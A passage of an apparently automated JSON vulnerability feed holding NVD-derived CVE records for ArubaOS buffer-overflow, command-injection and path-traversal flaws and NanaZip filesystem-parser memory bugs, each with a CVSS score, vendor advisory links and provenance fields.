references)","url":"https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05048en_us&docLocale=en_US","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44859","cveId":"CVE-2026-44859","aliases":[],"kind":"vulnerability","title":"Stack-based buffer overflow vulnerabilities exist in several underlying management service components accessed through the command-line interface of the AOS-8 and AOS-10 Operating...","summary":"Stack-based buffer overflow vulnerabilities exist in several underlying management service components accessed through the command-line interface of the AOS-8 and AOS-10 Operating Systems. An authenticated attacker with administrative privileges could exploit these vulnerabilities by sending specially crafted requests to the affected services. Successful exploitation could allow the attacker to execute arbitrary code with elevated privileges on the underlying operating system.","detail":"Stack-based buffer overflow vulnerabilities exist in several underlying management service components accessed through the command-line interface of the AOS-8 and AOS-10 Operating Systems. An authenticated attacker with administrative privileges could exploit these vulnerabilities by sending specially crafted requests to the affected services. Successful exploitation could allow the attacker to execute arbitrary code with elevated privileges on the underlying operating system.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T20:16:44.517Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":"arubanetworks","product":"arubaos","stacks":["Arubanetworks","arubaos"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44859","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44859","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44859","type":"primary","publishedAt":"2026-05-12T20:16:44.517Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05048en_us&docLocale=en_US","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44858","cveId":"CVE-2026-44858","aliases":[],"kind":"vulnerability","title":"Stack-based buffer overflow vulnerabilities exist in several underlying management service components accessed through the command-line interface of the AOS-8 and AOS-10 Operating...","summary":"Stack-based buffer overflow vulnerabilities exist in several underlying management service components accessed through the command-line interface of the AOS-8 and AOS-10 Operating Systems. An authenticated attacker with administrative privileges could exploit these vulnerabilities by sending specially crafted requests to the affected services. Successful exploitation could allow the attacker to execute arbitrary code with elevated privileges on the underlying operating system.","detail":"Stack-based buffer overflow vulnerabilities exist in several underlying management service components accessed through the command-line interface of the AOS-8 and AOS-10 Operating Systems. An authenticated attacker with administrative privileges could exploit these vulnerabilities by sending specially crafted requests to the affected services. Successful exploitation could allow the attacker to execute arbitrary code with elevated privileges on the underlying operating system.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T20:16:44.417Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"arubanetworks","product":"arubaos","stacks":["Arubanetworks","arubaos"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44858","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44858","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44858","type":"primary","publishedAt":"2026-05-12T20:16:44.417Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05048en_us&docLocale=en_US","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44857","cveId":"CVE-2026-44857","aliases":[],"kind":"vulnerability","title":"Stack-based buffer overflow vulnerabilities exist in several underlying management service components accessed through the command-line interface of the AOS-8 and AOS-10 Operating...","summary":"Stack-based buffer overflow vulnerabilities exist in several underlying management service components accessed through the command-line interface of the AOS-8 and AOS-10 Operating Systems. An authenticated attacker with administrative privileges could exploit these vulnerabilities by sending specially crafted requests to the affected services. Successful exploitation could allow the attacker to execute arbitrary code with elevated privileges on the underlying operating system.","detail":"Stack-based buffer overflow vulnerabilities exist in several underlying management service components accessed through the command-line interface of the AOS-8 and AOS-10 Operating Systems. An authenticated attacker with administrative privileges could exploit these vulnerabilities by sending specially crafted requests to the affected services. Successful exploitation could allow the attacker to execute arbitrary code with elevated privileges on the underlying operating system.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T20:16:44.317Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"arubanetworks","product":"arubaos","stacks":["Arubanetworks","arubaos"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44857","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44857","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44857","type":"primary","publishedAt":"2026-05-12T20:16:44.317Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05048en_us&docLocale=en_US","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44856","cveId":"CVE-2026-44856","aliases":[],"kind":"vulnerability","title":"Stack-based buffer overflow vulnerabilities exist in several underlying management service components accessed through the command-line interface of the AOS-8 and AOS-10 Operating...","summary":"Stack-based buffer overflow vulnerabilities exist in several underlying management service components accessed through the command-line interface of the AOS-8 and AOS-10 Operating Systems. An authenticated attacker with administrative privileges could exploit these vulnerabilities by sending specially crafted requests to the affected services. Successful exploitation could allow the attacker to execute arbitrary code with elevated privileges on the underlying operating system.","detail":"Stack-based buffer overflow vulnerabilities exist in several underlying management service components accessed through the command-line interface of the AOS-8 and AOS-10 Operating Systems. An authenticated attacker with administrative privileges could exploit these vulnerabilities by sending specially crafted requests to the affected services. Successful exploitation could allow the attacker to execute arbitrary code with elevated privileges on the underlying operating system.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T20:16:44.217Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"arubanetworks","product":"arubaos","stacks":["Arubanetworks","arubaos"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44856","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44856","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44856","type":"primary","publishedAt":"2026-05-12T20:16:44.217Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05048en_us&docLocale=en_US","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44855","cveId":"CVE-2026-44855","aliases":[],"kind":"vulnerability","title":"Stack-based buffer overflow vulnerabilities exist in several underlying management service components accessed through the command-line interface of the AOS-8 and AOS-10 Operating...","summary":"Stack-based buffer overflow vulnerabilities exist in several underlying management service components accessed through the command-line interface of the AOS-8 and AOS-10 Operating Systems. An authenticated attacker with administrative privileges could exploit these vulnerabilities by sending specially crafted requests to the affected services. Successful exploitation could allow the attacker to execute arbitrary code with elevated privileges on the underlying operating system.","detail":"Stack-based buffer overflow vulnerabilities exist in several underlying management service components accessed through the command-line interface of the AOS-8 and AOS-10 Operating Systems. An authenticated attacker with administrative privileges could exploit these vulnerabilities by sending specially crafted requests to the affected services. Successful exploitation could allow the attacker to execute arbitrary code with elevated privileges on the underlying operating system.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T20:16:44.117Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"arubanetworks","product":"arubaos","stacks":["Arubanetworks","arubaos"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44855","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44855","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44855","type":"primary","publishedAt":"2026-05-12T20:16:44.117Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05048en_us&docLocale=en_US","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44854","cveId":"CVE-2026-44854","aliases":[],"kind":"vulnerability","title":"Command injection vulnerabilities exist in the web-based management interface of AOS-8 and AOS-10 Operating Systems.","summary":"Command injection vulnerabilities exist in the web-based management interface of AOS-8 and AOS-10 Operating Systems. Successful exploitation could allow an authenticated remote attacker to upload arbitrary files to the underlying operating system, potentially leading to remote code execution as a privileged user.","detail":"Command injection vulnerabilities exist in the web-based management interface of AOS-8 and AOS-10 Operating Systems. Successful exploitation could allow an authenticated remote attacker to upload arbitrary files to the underlying operating system, potentially leading to remote code execution as a privileged user.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T20:16:44.017Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"arubanetworks","product":"arubaos","stacks":["Arubanetworks","arubaos"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44854","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44854","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44854","type":"primary","publishedAt":"2026-05-12T20:16:44.017Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05048en_us&docLocale=en_US","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44853","cveId":"CVE-2026-44853","aliases":[],"kind":"vulnerability","title":"Command injection vulnerabilities exist in the web-based management interface of AOS-8 and AOS-10 Operating Systems.","summary":"Command injection vulnerabilities exist in the web-based management interface of AOS-8 and AOS-10 Operating Systems. Successful exploitation could allow an authenticated remote attacker to upload arbitrary files to the underlying operating system, potentially leading to remote code execution as a privileged user.","detail":"Command injection vulnerabilities exist in the web-based management interface of AOS-8 and AOS-10 Operating Systems. Successful exploitation could allow an authenticated remote attacker to upload arbitrary files to the underlying operating system, potentially leading to remote code execution as a privileged user.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T20:16:43.913Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"arubanetworks","product":"arubaos","stacks":["Arubanetworks","arubaos"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44853","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44853","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44853","type":"primary","publishedAt":"2026-05-12T20:16:43.913Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05048en_us&docLocale=en_US","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44852","cveId":"CVE-2026-44852","aliases":[],"kind":"vulnerability","title":"An authenticated remote code execution vulnerability exists in the AOS-8 and AOS-10 web-based management interface.","summary":"An authenticated remote code execution vulnerability exists in the AOS-8 and AOS-10 web-based management interface. A vulnerability in the certificate download functionality could allow an authenticated remote attacker to overwrite arbitrary files on the underlying operating system by exploiting improper input validation in the file path parameter. Successful exploitation could allow the attacker to execute arbitrary commands on the underlying operating system as a privileged user.","detail":"An authenticated remote code execution vulnerability exists in the AOS-8 and AOS-10 web-based management interface. A vulnerability in the certificate download functionality could allow an authenticated remote attacker to overwrite arbitrary files on the underlying operating system by exploiting improper input validation in the file path parameter. Successful exploitation could allow the attacker to execute arbitrary commands on the underlying operating system as a privileged user.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T20:16:43.803Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"arubanetworks","product":"arubaos","stacks":["Arubanetworks","arubaos"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44852","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44852","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44852","type":"primary","publishedAt":"2026-05-12T20:16:43.803Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05048en_us&docLocale=en_US","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44215","cveId":"CVE-2026-44215","aliases":[],"kind":"vulnerability","title":"NanaZip is an open source file archive.","summary":"NanaZip is an open source file archive. From 5.0.1252.0 to before 6.0.1698.0, a one-byte heap out-of-bounds null write exists in the UFS/UFS2 filesystem image parser in NanaZip. The vulnerability is triggered when opening a crafted UFS filesystem image. The attacker controls the byte offset of the write within a ~254-byte window past the heap allocation boundary. This vulnerability is fixed in 6.0.1698.0.","detail":"NanaZip is an open source file archive. From 5.0.1252.0 to before 6.0.1698.0, a one-byte heap out-of-bounds null write exists in the UFS/UFS2 filesystem image parser in NanaZip. The vulnerability is triggered when opening a crafted UFS filesystem image. The attacker controls the byte offset of the write within a ~254-byte window past the heap allocation boundary. This vulnerability is fixed in 6.0.1698.0.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T20:16:42.387Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"m2team","product":"nanazip","stacks":["M2team","nanazip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":4.4,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44215","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44215","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44215","type":"primary","publishedAt":"2026-05-12T20:16:42.387Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/M2Team/NanaZip/security/advisories/GHSA-44wh-7gc3-w936","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42446","cveId":"CVE-2026-42446","aliases":[],"kind":"vulnerability","title":"NanaZip is an open source file archive.","summary":"NanaZip is an open source file archive. From 5.0.1252.0 to before 6.0.1698.0, a stack-based out-of-bounds read exists in the ZealFS filesystem image parser in NanaZip. The vulnerability is triggered when opening a crafted ZealFS v1 filesystem image. An attacker-controlled BitmapSize field in the file header drives an unbounded loop that reads past the end of a stack-allocated ZEALFS_V1_HEADER structure. This vulnerability is fixed in 6.0.1698.0.","detail":"NanaZip is an open source file archive. From 5.0.1252.0 to before 6.0.1698.0, a stack-based out-of-bounds read exists in the ZealFS filesystem image parser in NanaZip. The vulnerability is triggered when opening a crafted ZealFS v1 filesystem image. An attacker-controlled BitmapSize field in the file header drives an unbounded loop that reads past the end of a stack-allocated ZEALFS_V1_HEADER structure. This vulnerability is fixed in 6.0.1698.0.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T20:16:41.900Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"m2team","product":"nanazip","stacks":["M2team","nanazip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":4.4,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42446","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42446","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42446","type":"primary","publishedAt":"2026-05-12T20:16:41.900Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/M2Team/NanaZip/security/advisories/GHSA-4c79-hfr4-mqv9","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42338","cveId":"CVE-2026-42338","aliases":[],"kind":"vulnerability","title":"ip-address is a library for parsing and manipulating IPv4 and IPv6 addresses in JavaScript.","summary":"ip-address is a library for parsing and manipulating IPv4 